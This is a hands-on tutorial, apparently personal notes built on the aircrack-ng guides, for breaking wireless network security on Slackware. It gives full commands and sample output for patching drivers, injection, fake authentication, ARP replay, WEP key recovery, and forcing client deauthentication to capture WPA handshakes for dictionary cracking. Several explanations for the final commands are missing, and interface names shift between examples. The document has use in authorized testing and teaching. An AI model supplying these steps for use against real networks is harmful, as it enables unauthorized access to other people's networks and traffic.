The internal wireless card is an Intel Wireless WiFi Link 5100. The driver used by default is iwlagn. There is mention of iwlwifi being good for injection.
But injection works, to some not-clearly-understood-by-me extent, with the default drivers.
Put wlan0 into monitor mode:
airmon-ng start wlan0 1
The 1 referring to the channel you want to monitor.
Interface Chipset Driver wlan0 Intel 4964/5xxx iwlagn - [phy0] (monitor mode enabled on mon0)
To list available APs:
aireplay-ng -9 mon0
-9 is an injection test.
In order to go any further, it is necessary to update the standard Slackware wireless drivers with more capable ones. That involves downloading compat-wireless, applying a couple of patches, compiling and installing.
Largely based on Jay Scott:
wget http://www.orbit-lab.org/kernel/compat-wireless-2.6-stable/v2.6.37/compat-wireless-2.6.37-4.tar.bz2 tar -xvjf compat-wireless-2.6.37-4.tar.bz2 cd compat-wireless-2.6.37-4 wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch patch p1 < channel-negative-one-maxim.patch make su make install make unload
Now you should be able to follow the entire WEP crack tutorial on aircrack-ng.org. But the main steps (drawing heavily on the above tutorial):
airmon-ng start wifi0 9
The system will respond:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 ath0 Where: -9 means injection test -e teddy is the wireless network name -a 00:14:6C:7E:40:80 is the access point MAC address ath0 is the wireless interface name
The system should respond with:
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9 09:23:35 Trying broadcast probe requests... 09:23:35 Injection is working! 09:23:37 Found 1 AP 09:23:37 Trying directed probe requests... 09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy' 09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73 09:23:39 30/30: 100%
Open another console session to capture the generated IVs. Then enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0 Where: -c 9 is the channel for the wireless network --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic. -w capture is file name prefix for the file which will contain the IVs. ath0 is the interface name.
While the injection is taking place (later), the screen will look similar to this:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0 Where: -1 means fake authentication 0 reassociation timing in seconds -e teddy is the wireless network name -a 00:14:6C:7E:40:80 is the access point MAC address -h 00:0F:B5:88:AC:82 is our card MAC address ath0 is the wireless interface name
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time.
Here is what the screen looks like when ARP requests are being injected:
Saving ARP requests in replay_arp-0321-191525.cap You should also start airodump-ng to capture replies. Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.
The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.
Start another console session and enter:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap Where: -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP. output*.cap selects all files starting with “output” and ending in ”.cap”.
You will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
Here is what success looks like:
Aircrack-ng 0.9 [00:03:06] Tested 674449 keys (got 96610 IVs) KB depth byte(vote) 0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0) 1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12) 2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10) 3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15) KEY FOUND! [ 12:34:56:78:90 ] Probability: 100%
airmon-ng start wlan0 9
Final number is the channel. From now on refer to this device as mon0 (because we're using mac80211 drivers).
The handshake is the only interesting and useful part of communication between AP and client.
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk mon0
Where:
Success looks like this – notice the “WPA handshake:…” in the top right.
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
You can just wait for a handshake, but if there's a connected client, aireplay can attempt to deauthenticate it, forcing it to re-handshake.
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where: